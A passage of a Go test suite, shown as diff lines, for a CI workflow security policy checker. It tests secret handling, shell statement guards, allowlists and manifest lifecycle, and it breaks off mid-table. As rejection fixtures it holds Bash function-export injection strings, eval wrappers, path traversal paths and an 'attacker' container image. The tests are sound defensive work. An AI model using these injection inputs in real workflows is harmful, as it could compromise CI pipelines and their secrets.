"phase3": {[]trustGroup{{Path: wf, ContextSHA256: staged, State: "active", Presence: "present"}}, staged}, + } { + selected, findings := selectTrustGroups(phase.groups, map[string]string{wf: phase.context}, map[string]bool{}) + if len(findings) != 0 || !selected[wf+"\x00"+phase.context] { + t.Errorf("%s selection = %v, findings = %v", name, selected, findings) + } + } + for _, phase := range []struct { + name string + groups []trustGroup + contexts map[string]string + }{ + {"add phase1", []trustGroup{{Path: ".github/workflows/new.yml", State: "active", Presence: "absent"}, {Path: ".github/workflows/new.yml", ContextSHA256: staged, State: "staged", Presence: "present"}}, map[string]string{}}, + {"add phase2", []trustGroup{{Path: ".github/workflows/new.yml", State: "active", Presence: "absent"}, {Path: ".github/workflows/new.yml", ContextSHA256: staged, State: "staged", Presence: "present"}}, map[string]string{".github/workflows/new.yml": staged}}, + {"delete phase2", []trustGroup{{Path: ".github/workflows/old.yml", ContextSHA256: active, State: "active", Presence: "present"}, {Path: ".github/workflows/old.yml", State: "staged", Presence: "absent"}}, map[string]string{}}, + {"absent tombstone", []trustGroup{{Path: ".github/workflows/old.yml", State: "active", Presence: "absent"}}, map[string]string{}}, + } { + selected, findings := selectTrustGroups(phase.groups, phase.contexts, map[string]bool{}) + if len(findings) != 0 || len(selected) != 1 { + t.Errorf("%s selection = %v, findings = %v", phase.name, selected, findings) + } + } + for name, groups := range map[string][]trustGroup{ + "unmatched": {{Path: wf, ContextSHA256: active, State: "active", Presence: "present"}}, + "mixed": {{Path: wf, ContextSHA256: active, State: "active", Presence: "present"}, {Path: wf, ContextSHA256: active, State: "staged", Presence: "present"}}, + "multiple staged": {{Path: wf, ContextSHA256: active, State: "active", Presence: "present"}, {Path: wf, ContextSHA256: staged, State: "staged", Presence: "present"}, {Path: wf, ContextSHA256: strings.Repeat("c", 64), State: "staged", Presence: "present"}}, + "invalid state": {{Path: wf, ContextSHA256: active, State: "pending", Presence: "present"}}, + "lone staged": {{Path: wf, ContextSHA256: staged, State: "staged", Presence: "present"}}, + } { + _, findings := selectTrustGroups(groups, map[string]string{wf: staged}, map[string]bool{}) + if len(findings) == 0 { + t.Errorf("%s trust groups were accepted", name) + } + } + duplicate := trustGroup{Path: wf, ContextSHA256: active, State: "active", Presence: "present"} + if _, findings := selectTrustGroups([]trustGroup{duplicate, duplicate}, map[string]string{wf: active}, map[string]bool{}); len(findings) == 0 { + t.Error("duplicate active trust groups were accepted") + } + for _, artifactPath := range []string{".github/conformance/cleanup.yaml", ".github/workflows/scripts/cleanup.sh", "docs/retired-runbook.md"} { + group := trustGroup{Path: artifactPath, State: "active", Presence: "absent"} + if _, findings := selectTrustGroups([]trustGroup{group}, map[string]string{}, map[string]bool{}); len(findings) != 0 { + t.Errorf("artifact tombstone path %q was rejected: %v", artifactPath, findings) + } + if _, findings := selectTrustGroups([]trustGroup{group}, map[string]string{}, map[string]bool{artifactPath: true}); len(findings) == 0 { + t.Errorf("artifact tombstone path %q did not reject an existing path", artifactPath) + } + } + for _, invalidPath := range []string{"", "../../outside.yml", ".github\\workflows\\workflow.yml"} { + group := trustGroup{Path: invalidPath, State: "active", Presence: "absent"} + if _, findings := selectTrustGroups([]trustGroup{group}, map[string]string{}, map[string]bool{}); len(findings) == 0 { + t.Errorf("invalid tombstone path %q was accepted", invalidPath) + } + } +} + +func TestWorkflowSecretAuthorityBoundary(t *testing.T) { + for name, test := range map[string]struct { + secrets map[string]bool + wantFinding bool + }{ + "workflow call noncloud": {map[string]bool{"RELEASES_TOKEN": true}, true}, + "branch push noncloud": {map[string]bool{"PUBLISH_TOKEN": true}, true}, + "tag push noncloud": {map[string]bool{"REGISTRY_TOKEN": true}, true}, + "cloud secret": {map[string]bool{"DIGITALOCEAN_TOKEN": true}, true}, + "legacy automatic token syntax": {map[string]bool{"GITHUB_TOKEN": true}, true}, + } { + findings := &findingSet{} + validateSecretReferences("fixture.yml", "fixture "+name, test.secrets, map[string]bool{}, findings) + if got := len(findings.items) > 0; got != test.wantFinding { + t.Errorf("%s finding = %v, want %v: %v", name, got, test.wantFinding, findings.items) + } + } +} + +func TestWorkflowCallEnvironmentRejectsNamedSecret(t *testing.T) { + const workflowPath = ".github/workflows/reusable.yml" + var doc yaml.Node + source := "on: workflow_call\njobs:\n deploy:\n environment: production\n uses: acme/platform/.github/workflows/deploy.yml@0123456789012345678901234567890123456789\n secrets:\n token: ${{ secrets.RELEASES_TOKEN }}\n" + if err := yaml.Unmarshal([]byte(source), &doc); err != nil { + t.Fatal(err) + } + job := mappingValue(mappingValue(doc.Content[0], "jobs"), "deploy") + secrets := secretReferences(job) + findings := &findingSet{} + validateSecretReferences(workflowPath, "fixture workflow_call", secrets, map[string]bool{}, findings) + if len(findings.items) == 0 { + t.Fatal("workflow_call environment accepted a named repository secret") + } +} + +func TestReusableWorkflowSecretShapesFailClosed(t *testing.T) { + for name, test := range map[string]struct { + source string + wantFinding bool + }{ + "inherit scalar": {"secrets: inherit\n", true}, + "inherit mapping": {"secrets:\n token: inherit\n", true}, + "dynamic mapping": {"secrets:\n token: ${{ secrets[vars.SECRET_NAME] }}\n", true}, + "automatic token": {"secrets:\n token: ${{ github.token }}\n", false}, + } { + var doc yaml.Node + if err := yaml.Unmarshal([]byte(test.source), &doc); err != nil { + t.Fatal(err) + } + job := doc.Content[0] + findings := &findingSet{} + validateInheritedSecrets("fixture "+name, mappingValue(job, "secrets"), findings) + validateCredentialSelectors("fixture "+name, job, findings) + if got := len(findings.items) > 0; got != test.wantFinding { + t.Errorf("%s finding = %v, want %v: %v", name, got, test.wantFinding, findings.items) + } + } +} + +func TestOnlyLiteralGOWORKOffAssignmentIsSafe(t *testing.T) { + for _, source := range []string{ + `GOWORK=off go test ./...`, + `env GOWORK=off go test ./...`, + `env "GOWORK=off" go test ./...`, + `exec env GOWORK=off go test ./...`, + } { + findings := &findingSet{} + inspectStatementGuards("fixture", parseShell(t, source).Stmts[0], findings) + if len(findings.items) != 0 { + t.Errorf("literal GOWORK=off in %q was rejected: %v", source, findings.items) + } + } + + for _, source := range []string{ + `GOWORK=auto go test ./...`, + `GOWORK= go test ./...`, + `GOWORK="$MODE" go test ./...`, + `env GOWORK=auto go test ./...`, + `env GOWORK="$MODE" go test ./...`, + `env "GOWORK=$MODE" go test ./...`, + `env "PATH=$MODE" go test ./...`, + `env 'BASH_FUNC_attack%%=() { :; }' go test ./...`, + `nice env 'BASH_FUNC_attack%%=() { :; }' bash -c attack`, + `nice env "BASH_FUNC_attack%${PERCENT}=() { :; }" bash -c attack`, + } { + findings := &findingSet{} + inspectStatementGuards("fixture", parseShell(t, source).Stmts[0], findings) + if len(findings.items) == 0 { + t.Errorf("non-literal-off GOWORK in %q was accepted", source) + } + } + + for name, source := range map[string]string{ + "literal off": "GOWORK: off\n", + "auto": "GOWORK: auto\n", + "empty": "GOWORK: ''\n", + "dynamic": "GOWORK: ${{ vars.GOWORK }}\n", + } { + var env yaml.Node + if err := yaml.Unmarshal([]byte(source), &env); err != nil { + t.Fatal(err) + } + findings := &findingSet{} + envValues("fixture", env.Content[0], false, findings) + if name == "literal off" && len(findings.items) != 0 { + t.Errorf("literal YAML GOWORK=off was rejected: %v", findings.items) + } + if name != "literal off" && len(findings.items) == 0 { + t.Errorf("%s YAML GOWORK assignment was accepted", name) + } + } +} + +func TestOnlyFailClosedGitEnvironmentAssignmentsAreSafe(t *testing.T) { + for _, source := range []string{ + `GIT_ASKPASS=/bin/false git fetch`, + `GIT_CONFIG_GLOBAL=/dev/null git fetch`, + `GIT_CONFIG_NOSYSTEM=1 git fetch`, + `GIT_TERMINAL_PROMPT=0 git fetch`, + } { + findings := &findingSet{} + inspectStatementGuards("fixture", parseShell(t, source).Stmts[0], findings) + if len(findings.items) != 0 { + t.Errorf("fail-closed Git environment in %q was rejected: %v", source, findings.items) + } + } + + for _, source := range []string{ + `GIT_ASKPASS=./candidate-helper git fetch`, + `GIT_CONFIG_GLOBAL=./candidate-config git fetch`, + `GIT_CONFIG_NOSYSTEM=0 git fetch`, + `GIT_TERMINAL_PROMPT=1 git fetch`, + } { + findings := &findingSet{} + inspectStatementGuards("fixture", parseShell(t, source).Stmts[0], findings) + if len(findings.items) == 0 { + t.Errorf("unsafe Git environment in %q was accepted", source) + } + } +} + +func TestAuthorizationContextBindsCompleteWorkflow(t *testing.T) { + parseMapping := func(source string) *yaml.Node { + t.Helper() + var doc yaml.Node + if err := yaml.Unmarshal([]byte(source), &doc); err != nil { + t.Fatal(err) + } + return doc.Content[0] + } + base := "on: push\nenv:\n SAFE_MODE: one\ndefaults:\n run:\n shell: bash\njobs:\n test:\n runs-on: ubuntu-latest\n env:\n JOB_MODE: one\n steps:\n - env:\n STEP_MODE: one\n run: echo safe\n" + workflow := parseMapping(base) + original := authorizationContextDigest(workflow, nil, nil) + job := mappingValue(mappingValue(workflow, "jobs"), "test") + step := mappingValue(job, "steps").Content[0] + if got := authorizationContextDigest(workflow, job, step); got != original { + t.Fatalf("job/step arguments narrowed workflow-wide context digest: got %s, want %s", got, original) + } + for name, changed := range map[string]string{ + "trigger": strings.Replace(base, "on: push", "on: pull_request_target", 1), + "workflow env": strings.Replace(base, "SAFE_MODE: one", "SAFE_MODE: two", 1), + "defaults": strings.Replace(base, "shell: bash", "shell: sh", 1), + "job env": strings.Replace(base, "JOB_MODE: one", "JOB_MODE: two", 1), + "container": strings.Replace(base, "runs-on: ubuntu-latest", "runs-on: ubuntu-latest\n container: attacker:latest", 1), + "step control": strings.Replace(base, "run: echo safe", "if: always()\n run: echo safe", 1), + "step statement": strings.Replace(base, "run: echo safe", "run: set -x; echo safe", 1), + } { + if authorizationContextDigest(parseMapping(changed), nil, nil) == original { + t.Errorf("%s mutation retained complete workflow digest", name) + } + } +} + +func TestNormalizePathResolvesRelativeToRepositoryRoot(t *testing.T) { + root := t.TempDir() + workflowDir := filepath.Join(root, ".github", "workflows") + if err := os.MkdirAll(workflowDir, 0o755); err != nil { + t.Fatal(err) + } + workflowPath := filepath.Join(workflowDir, "ci.yml") + if err := os.WriteFile(workflowPath, []byte("name: CI\n"), 0o600); err != nil { + t.Fatal(err) + } + resolvedRoot, err := filepath.EvalSymlinks(root) + if err != nil { + t.Fatal(err) + } + + got, err := normalizePath(root, resolvedRoot, ".github/workflows/ci.yml") + if err != nil { + t.Fatalf("normalize relative workflow path: %v", err) + } + if got != ".github/workflows/ci.yml" { + t.Fatalf("normalized workflow path = %q, want .github/workflows/ci.yml", got) + } + + outside := filepath.Join(t.TempDir(), "outside.yml") + if err := os.WriteFile(outside, []byte("name: outside\n"), 0o600); err != nil { + t.Fatal(err) + } + if _, err := normalizePath(root, resolvedRoot, outside); err == nil { + t.Fatal("absolute workflow path outside root was accepted") + } + if _, err := normalizePath(root, resolvedRoot, "../outside.yml"); err == nil { + t.Fatal("relative workflow path outside root was accepted") + } + + symlink := filepath.Join(workflowDir, "escape.yml") + if err := os.Symlink(outside, symlink); err != nil { + t.Fatal(err) + } + if _, err := normalizePath(root, resolvedRoot, ".github/workflows/escape.yml"); err == nil { + t.Fatal("workflow symlink escaping root was accepted") + } +} + +func TestAssignmentOnlyCallIsRecognized(t *testing.T) { + file := parseShell(t, `SAFE_VALUE=one`) + call := firstCall(t, file) + if !assignmentOnlyCall(call) { + t.Fatal("standalone safe assignment was not recognized") + } + if assignmentOnlyCall(firstCall(t, parseShell(t, `SAFE_VALUE=one echo safe`))) { + t.Fatal("command with an assignment prefix was treated as assignment-only") + } +} + +func TestBuiltinRequiresExactStatementAuthority(t *testing.T) { + file := parseShell(t, `set -x`) + findings := &findingSet{} + inspectShell( + "fixture", ".github/workflows/fixture.yml", strings.Repeat("0", 64), + "set -x", file, false, t.TempDir(), + map[string]executableEntry{}, map[string]bool{}, + map[string]commandEntry{}, map[string]bool{}, findings, + ) + if len(findings.items) != 1 || !strings.Contains(findings.items[0], "unreviewed exact statement containing set") { + t.Fatalf("builtin authority findings = %v", findings.items) + } +} + +func TestStatementWithoutCallRequiresExactAuthority(t *testing.T) { + file := parseShell(t, `(( X ))`) + findings := &findingSet{} + inspectShell( + "fixture", ".github/workflows/fixture.yml", strings.Repeat("0", 64), + "(( X ))", file, false, t.TempDir(), + map[string]executableEntry{}, map[string]bool{}, + map[string]commandEntry{}, map[string]bool{}, findings, + ) + if len(findings.items) != 1 || !strings.Contains(findings.items[0], "unreviewed exact shell statement") { + t.Fatalf("call-free statement authority findings = %v", findings.items) + } +} + +func TestJobContainerAndServicesAreCategoricallyRejected(t *testing.T) { + var doc yaml.Node + if err := yaml.Unmarshal([]byte("container: attacker:latest\nservices:\n db:\n image: attacker:latest\n"), &doc); err != nil { + t.Fatal(err) + } + findings := &findingSet{} + checkJobRuntime("fixture", doc.Content[0], findings) + if len(findings.items) != 2 { + t.Fatalf("job runtime findings = %v", findings.items) + } +} + +func TestKnownProviderCommandLimitsReviewedPackageBuildSubcommands(t *testing.T) { + for _, subcommand := range []string{"ci", "run", "test"} { + if knownProviderCommand("npm", []string{subcommand}) { + t.Errorf("npm %s must remain eligible for exact Workflow UI build review", subcommand) + } + } + for _, argv := range [][]string{nil, {"exec", "provider-tool"}, {"install"}} { + if !knownProviderCommand("npm", argv) { + t.Errorf("npm argv %q must remain categorically forbidden", argv) + } + } + if categoricallyUnallowlistableCommandName("npm") { + t.Fatal("npm exact statement rows must remain eligible for manifest validation") + } +} + +func TestContainsProviderSDKMarkerPreservesFixedSubstrings(t *testing.T) { + for name, test := range map[string]struct { + value string + want bool + }{ + "digitalocean": {"prefix DIGITALOCEAN/GODO suffix", true}, + "aws": {"github.com/aws/AWS-SDK-go-v2", true}, + "azure": {"Azure-SDK-for-go", true}, + "google go": {"CLOUD.GOOGLE.COM/GO/storage", true}, + "google other": {"google-cloud-storage", true}, + "digitalocean dash": {"digitalocean-godo", false}, + "aws underscore": {"aws_sdk", false}, + "azure slash": {"azure/sdk", false}, + "google wildcard dot": {"cloudXgoogle.com/go", false}, + "google no dash": {"google-cloud", false}, + "empty": {"", false}, + } { + t.Run(name, func(t *testing.T) { + if got := containsProviderSDKMarker(test.value); got != test.want { + t.Fatalf("containsProviderSDKMarker(%q) = %v, want %v", test.value, got, test.want) + } + }) + } +} + +func TestKnownProviderCommandAllowsLocalHelmValidation(t *testing.T) { + if !knownProviderCommand("helm", nil) { + t.Error("bare helm invocation must remain categorically forbidden") + } + for _, subcommand := range []string{"lint", "template"} { + if knownProviderCommand("helm", []string{subcommand}) { + t.Errorf("helm %s must remain eligible for exact local validation review", subcommand) + } + } + if !knownProviderCommand("helm", []string{"upgrade"}) { + t.Fatal("helm upgrade must remain categorically forbidden") + } + if categoricallyUnallowlistableCommandName("helm") { + t.Fatal("helm exact statement rows must remain eligible for manifest validation") + } +} + +func TestKnownProviderCommandRejectsMutableGoInstallVersions(t *testing.T) { + for _, packageArg := range []string{ + "golang.org/x/perf/cmd/benchstat@latest", + "example.com/tool@upgrade", + "example.com/tool@patch", + "example.com/tool@main", + "example.com/tool@>v1.2.3", + "example.com/tool@v1.2", + } { + if !knownProviderCommand("go", []string{"install", packageArg}) { + t.Errorf("mutable go install selector remained allowlistable: %s", packageArg) + } + } + for _, packageArg := range []string{ + "example.com/tool@v1.2.3", + "golang.org/x/perf/cmd/benchstat@v0.0.0-20260709024250-82a0b07e230d", + "./cmd/wfctl", + } { + if knownProviderCommand("go", []string{"install", packageArg}) { + t.Errorf("immutable or local go install target became categorical: %s", packageArg) + } + } +} + +func TestMutableGoInstallCannotBeAuthorizedByExactStatement(t *testing.T) { + const workflowPath = ".github/workflows/install.yml" + const source = "go install golang.org/x/perf/cmd/benchstat@latest" + contextSHA256 := strings.Repeat("e", 64) + file := parseShell(t, source) + statementSHA256, err := statementDigest(file.Stmts[0]) + if err != nil { + t.Fatal(err) + } + key := commandKey(workflowPath, "go", statementSHA256, contextSHA256) + commands := map[string]commandEntry{key: { + Path: workflowPath, Command: "go", StatementSHA256: statementSHA256, + ContextSHA256: contextSHA256, State: "active", Rationale: "Exact mutable install mutation row.", + }} + commandReferenced := map[string]bool{} + findings := &findingSet{} + inspectShell( + "fixture", workflowPath, contextSHA256, source, file, false, t.TempDir(), + map[string]executableEntry{}, map[string]bool{}, commands, commandReferenced, findings, + ) + if !strings.Contains(strings.Join(findings.items, "\n"), "executes categorically forbidden command go") { + t.Fatalf("exact row authorized mutable go install: %v", findings.items) + } + if commandReferenced[key] { + t.Fatal("categorical mutable go install rejection consumed exact authority row") + } +} + +func TestPinnedGoInstallCanUseExactStatementAuthority(t *testing.T) { + const workflowPath = ".github/workflows/install.yml" + const source = "go install golang.org/x/perf/cmd/benchstat@v0.0.0-20260709024250-82a0b07e230d" + contextSHA256 := strings.Repeat("f", 64) + file := parseShell(t, source) + statementSHA256, err := statementDigest(file.Stmts[0]) + if err != nil { + t.Fatal(err) + } + key := commandKey(workflowPath, "go", statementSHA256, contextSHA256) + commands := map[string]commandEntry{key: { + Path: workflowPath, Command: "go", StatementSHA256: statementSHA256, + ContextSHA256: contextSHA256, State: "active", Rationale: "Exact pinned install row.", + }} + commandReferenced := map[string]bool{} + findings := &findingSet{} + inspectShell( + "fixture", workflowPath, contextSHA256, source, file, false, t.TempDir(), + map[string]executableEntry{}, map[string]bool{}, commands, commandReferenced, findings, + ) + if len(findings.items) != 0 { + t.Fatalf("pinned go install exact authority was rejected: %v", findings.items) + } + if !commandReferenced[key] { + t.Fatal("pinned go install exact authority row was not consumed") + } +} + +func TestEvalIsCategoricallyUnallowlistable(t *testing.T) { + for _, command := range []string{"eval", "EVAL", "/usr/bin/eval", "./eval"} { + if !categoricallyUnallowlistableCommandName(command) { + t.Errorf("eval variant remained allowlistable: %s", command) + } + } + if categoricallyUnallowlistableCommandName("printf") { + t.Fatal("ordinary printf command became categorically forbidden") + } +} + +func TestEvalCannotBeAuthorizedByExactStatement(t *testing.T) { + const workflowPath = ".github/workflows/eval.yml" + contextSHA256 := strings.Repeat("a", 64) + for _, source := range []string{ + `eval "$COMMAND"`, + `command eval "$COMMAND"`, + `env eval "$COMMAND"`, + `/usr/bin/eval "$COMMAND"`, + `./eval "$COMMAND"`, + `\eval "$COMMAND"`, + } { + t.Run(source, func(t *testing.T) { + file := parseShell(t, source) + statementSHA256, err := statementDigest(file.Stmts[0]) + if err != nil { + t.Fatal(err) + } + commandKey := commandKey(workflowPath, "eval", statementSHA256, contextSHA256) + commands := map[string]commandEntry{commandKey: { + Path: workflowPath, Command: "eval", StatementSHA256: statementSHA256, + ContextSHA256: contextSHA256, State: "active", Rationale: "Exact eval mutation row.", + }} + executableKey := workflowPath + "\x00eval" + executables := map[string]executableEntry{executableKey: { + Path: "eval", WorkflowPath: workflowPath, ContextSHA256: contextSHA256, + State: "active", SHA256: strings.Repeat("b", 64), Rationale: "Local eval mutation executable.", + }} + commandReferenced := map[string]bool{} + findings := &findingSet{} + inspectShell( + "fixture", workflowPath, contextSHA256, source, file, false, t.TempDir(), + executables, map[string]bool{}, commands, commandReferenced, findings, + ) + if !strings.Contains(strings.Join(findings.items, "\n"), "executes categorically forbidden command eval") { + t.Fatalf("exact row authorized eval variant %q: %v", source, findings.items) + } + if commandReferenced[commandKey] { + t.Fatalf("categorical eval rejection consumed exact authority row for %q", source) + } + }) + } +} + +func TestBuiltinIsCategoricallyUnallowlistable(t *testing.T) { + for _, command := range []string{"builtin", "BUILTIN", `\builtin`} { + if !categoricallyUnallowlistableCommandName(command) { + t.Errorf("builtin variant remained allowlistable: %s", command) + } + } + if categoricallyUnallowlistableCommandName("printf") { + t.Fatal("ordinary printf command became categorically forbidden") + } +} + +func TestBuiltinCannotBeAuthorizedByExactStatement(t *testing.T) { + const workflowPath = ".github/workflows/builtin.yml" + contextSHA256 := strings.Repeat("c", 64) + for _, source := range []string{ + `builtin eval "$COMMAND"`, + `command builtin eval "$COMMAND"`, + `builtin source "$SCRIPT"`, + `command builtin source "$SCRIPT"`, + } { + t.Run(source, func(t *testing.T) { + file := parseShell(t, source) + statementSHA256, err := statementDigest(file.Stmts[0]) + if err != nil { + t.Fatal(err) + } + commandKey := commandKey(workflowPath, "builtin", statementSHA256, contextSHA256) + commands := map[string]commandEntry{commandKey: { + Path: workflowPath, Command: "builtin", StatementSHA256: statementSHA256, + ContextSHA256: contextSHA256, State: "active", Rationale: "Exact builtin mutation row.", + }} + commandReferenced := map[string]bool{} + findings := &findingSet{} + inspectShell( + "fixture", workflowPath, contextSHA256, source, file, false, t.TempDir(), + map[string]executableEntry{}, map[string]bool{}, commands, commandReferenced, findings, + ) + if !strings.Contains(strings.Join(findings.items, "\n"), "executes categorically forbidden command builtin") { + t.Fatalf("exact row authorized builtin wrapper %q: %v", source, findings.items) + } + if commandReferenced[commandKey] { + t.Fatalf("categorical builtin rejection consumed exact authority row for %q", source) + } + }) + } +} + +func TestOrdinaryExactCommandAuthorityRemainsAvailable(t *testing.T) { + const workflowPath = ".github/workflows/ordinary.yml" + const source = `printf '%s\n' "$VALUE"` + contextSHA256 := strings.Repeat("d", 64) + file := parseShell(t, source) + statementSHA256, err := statementDigest(file.Stmts[0]) + if err != nil { + t.Fatal(err) + } + key := commandKey(workflowPath, "printf", statementSHA256, contextSHA256) + commands := map[string]commandEntry{key: { + Path: workflowPath, Command: "printf", StatementSHA256: statementSHA256, + ContextSHA256: contextSHA256, State: "active", Rationale: "Exact ordinary command row.", + }} + commandReferenced := map[string]bool{} + findings := &findingSet{} + inspectShell( + "fixture", workflowPath, contextSHA256, source, file, false, t.TempDir(), + map[string]executableEntry{}, map[string]bool{}, commands, commandReferenced, findings, + ) + if len(findings.items) != 0 { + t.Fatalf("ordinary exact command authority was rejected: %v", findings.items) + } + if !commandReferenced[key] { + t.Fatal("ordinary exact command authority row was not consumed") + } +} + +func TestReusableWorkflowJobIsCategoricallyRejected(t *testing.T) { + var doc yaml.Node + if err := yaml.Unmarshal([]byte("uses: acme/repo/.github/workflows/check.yml@0123456789012345678901234567890123456789\n"), &doc); err != nil { + t.Fatal(err) + } + findings := &findingSet{} + checkJobRunnerSelector("fixture", doc.Content[0], findings) + if len(findings.items) == 0 || !strings.Contains(findings.items[0], "reusable workflow") { + t.Fatalf("reusable job was not categorically rejected: %v", findings.items) + } +} + +func TestTrustedPolicyExecutableUsesCoreWrapperPath(t *testing.T) { + entry := executableEntry{ + WorkflowPath: ".github/workflows/public-workflow-policy.yml", + Path: "scripts/check-public-workflow-policy.sh", + } + if !trustedPolicyExecutable(entry) { + t.Fatal("core policy wrapper was not recognized as trusted") + } + entry.Path = ".github/workflows/scripts/check-public-workflow-policy.sh" + if trustedPolicyExecutable(entry) { + t.Fatal("legacy plugin wrapper location remained trusted") + } +} + +func authorityFixture(state, digest string) authorityBundle { + return authorityBundle{ + State: state, + Files: []authorityFile{ + {Path: ".github/workflows/policytool/go.mod", SHA256: digest}, + {Path: ".github/workflows/policytool/go.sum", SHA256: digest}, + {Path: ".github/workflows/policytool/main.go", SHA256: digest}, + {Path: ".github/workflows/policytool/main_test.go", SHA256: digest}, + {Path: ".github/workflows/scripts/verify-public-workflow-branch-protection.sh", SHA256: digest}, + {Path: "scripts/check-public-workflow-policy.sh", SHA256: digest}, + {Path: "scripts/fixtures/public-workflow-policy/pass.yml", SHA256: digest}, + {Path: "scripts/test-check-public-workflow-policy.sh", SHA256: digest}, + }, + } +} + +func TestAuthorityManifestRejectsMalformedOrIncompleteSurface(t *testing.T) { + digest := strings.Repeat("a", 64) + valid := authorityManifest{Version: 1, Bundles: []authorityBundle{authorityFixture("active", digest)}} + if findings := validateAuthorityManifest(valid); len(findings) != 0 { + t.Fatalf("valid authority manifest findings = %v", findings) + } + + for name, mutate := range map[string]func(*authorityManifest){ + "version": func(manifest *authorityManifest) { manifest.Version = 2 }, + "no active": func(manifest *authorityManifest) { + manifest.Bundles[0].State = "staged" + }, + "two staged": func(manifest *authorityManifest) { + manifest.Bundles = append(manifest.Bundles, + authorityFixture("staged", strings.Repeat("b", 64)), + authorityFixture("staged", strings.Repeat("c", 64))) + }, + "unsorted": func(manifest *authorityManifest) { + manifest.Bundles[0].Files[0], manifest.Bundles[0].Files[1] = manifest.Bundles[0].Files[1], manifest.Bundles[0].Files[0] + }, + "duplicate": func(manifest *authorityManifest) { + manifest.Bundles[0].Files[1] = manifest.Bundles[0].Files[0] + }, + "outside surface": func(manifest *authorityManifest) { + manifest.Bundles[0].Files[0].Path = ".github/public-workflow-authority.json" + }, + "bad digest": func(manifest *authorityManifest) { + manifest.Bundles[0].Files[0].SHA256 = "ABC" + }, + "missing core": func(manifest *authorityManifest) { + manifest.Bundles[0].Files = manifest.Bundles[0].Files[1:] + }, + } { + t.Run(name, func(t *testing.T) { + candidate := valid + candidate.Bundles = append([]authorityBundle(nil), valid.Bundles...) + candidate.Bundles[0].Files = append([]authorityFile(nil), valid.Bundles[0].Files...) + mutate(&candidate) + if findings := validateAuthorityManifest(candidate); len(findings) == 0 { + t.Fatal("invalid authority manifest was accepted") + } + }) + } +} + +func TestAuthorityInventoryRejectsExtraAndNonRegularFiles(t *testing.T) { + root := t.TempDir() + for _, file := range authorityFixture("active", strings.Repeat("a", 64)).Files { + filePath := filepath.Join(root, filepath.FromSlash(file.Path)) + if err := os.MkdirAll(filepath.Dir(filePath), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filePath, []byte(file.Path), 0o600); err != nil { + t.Fatal(err) + } + } + if inventory, err := authorityInventory(root); err != nil || len(inventory) != 8 { + t.Fatalf("authority inventory = %v, err = %v", inventory, err) + } + + extra := filepath.Join(root, ".github", "workflows", "policytool", "policytool") + if err := os.WriteFile(extra, []byte("binary"), 0o700); err != nil { + t.Fatal(err) + } + if inventory, err := authorityInventory(root); err != nil || len(inventory) != 9 { + t.Fatalf("recursive authority inventory = %v, err = %v", inventory, err) + } + if err := os.Remove(extra); err != nil { + t.Fatal(err) + } + + target := filepath.Join(root, "scripts", "check-public-workflow-policy.sh") + if err := os.Remove(target); err != nil { + t.Fatal(err) + } + if err := os.Symlink("test-check-public-workflow-policy.sh", target); err != nil { + t.Fatal(err) + } + if _, err := authorityInventory(root); err == nil || !strings.Contains(err.Error(), "non-regular authority path") { + t.Fatalf("symlink authority file error = %v", err) + } +} + +func TestAuthorityTransitionLifecycle(t *testing.T) { + oldBundle := authorityFixture("active", strings.Repeat("a", 64)) + newBundle := authorityFixture("staged", strings.Repeat("b", 64)) + activeNew := newBundle + activeNew.State = "active" + baseActive := authorityManifest{Version: 1, Bundles: []authorityBundle{oldBundle}} + baseStaged := authorityManifest{Version: 1, Bundles: []authorityBundle{oldBundle, newBundle}} + promoted := authorityManifest{Version: 1, Bundles: []authorityBundle{activeNew}} + + for name, test := range map[string]struct { + base, candidate authorityManifest + baseInventory, candidateInv []authorityFile + bootstrap bool + wantFinding bool + }{ + "unchanged": {baseActive, baseActive, oldBundle.Files, oldBundle.Files, false, false}, + "stage": {baseActive, baseStaged, oldBundle.Files, oldBundle.Files, false, false}, + "adopt": {baseStaged, baseStaged, oldBundle.Files, newBundle.Files, false, false}, + "promote": {baseStaged, promoted, newBundle.Files, newBundle.Files, false, false}, + "bootstrap": {authorityManifest{}, baseActive, nil, oldBundle.Files, true, false}, + "stage and adopt": {baseActive, baseStaged, oldBundle.Files, newBundle.Files, false, true}, + "old after adopt": {baseStaged, baseStaged, newBundle.Files, oldBundle.Files, false, true}, + "old after promote": { + baseStaged, promoted, newBundle.Files, oldBundle.Files, false, true, + }, + "bootstrap staged": {authorityManifest{}, baseStaged, nil, oldBundle.Files, true, true}, + } { + t.Run(name, func(t *testing.T) { + findings := validateAuthorityTransition(&test.base, test.candidate, test.baseInventory, test.candidateInv, test.bootstrap) + if got := len(findings) > 0; got != test.wantFinding { + t.Fatalf("findings = %v, wantFinding = %v", findings, test.wantFinding) + } + if name == "stage and adopt" && !strings.Contains(strings.Join(findings, "\n"), "same pull request") { + t.Fatalf("same-PR authority rejection was not explicit: %v", findings) + } + }) + } +} + +func trustPolicyFixture(activeContext string) trustPolicy { + workflow := ".github/workflows/ci.yml" + return trustPolicy{ + Presence: []trustGroup{{Path: workflow, ContextSHA256: activeContext, State: "active", Presence: "present"}}, + Commands: []commandEntry{{ + Path: workflow, Command: "go", StatementSHA256: strings.Repeat("c", 64), ContextSHA256: activeContext, + State: "active", Rationale: "Run the reviewed test command.", + }}, + } +} + +func TestTrustManifestTransitionLifecycle(t *testing.T) { + oldContext := strings.Repeat("a", 64) + newContext := strings.Repeat("b", 64) + workflow := ".github/workflows/ci.yml" + base := trustPolicyFixture(oldContext) + staged := base + staged.Presence = append([]trustGroup(nil), base.Presence...) + staged.Commands = append([]commandEntry(nil), base.Commands...) + staged.Presence = append(staged.Presence, trustGroup{Path: workflow, ContextSHA256: newContext, State: "staged", Presence: "present"}) + staged.Commands = append(staged.Commands, commandEntry{ + Path: workflow, Command: "go", StatementSHA256: strings.Repeat("d", 64), ContextSHA256: newContext, + State: "staged", Rationale: "Run the replacement reviewed test command.", + }) + promoted := trustPolicyFixture(newContext) + promoted.Commands[0].StatementSHA256 = strings.Repeat("d", 64) + promoted.Commands[0].Rationale = "Run the replacement reviewed test command." + + for name, test := range map[string]struct { + base, candidate trustPolicy + baseContexts, candidateCtx map[string]string + basePresent, candidatePresent map[string]bool + wantFinding bool + }{ + "unchanged": {base, base, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}, false}, + "stage": {base, staged, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}, false}, + "adopt": {staged, staged, map[string]string{workflow: oldContext}, map[string]string{workflow: newContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}, false}, + "promote": {staged, promoted, 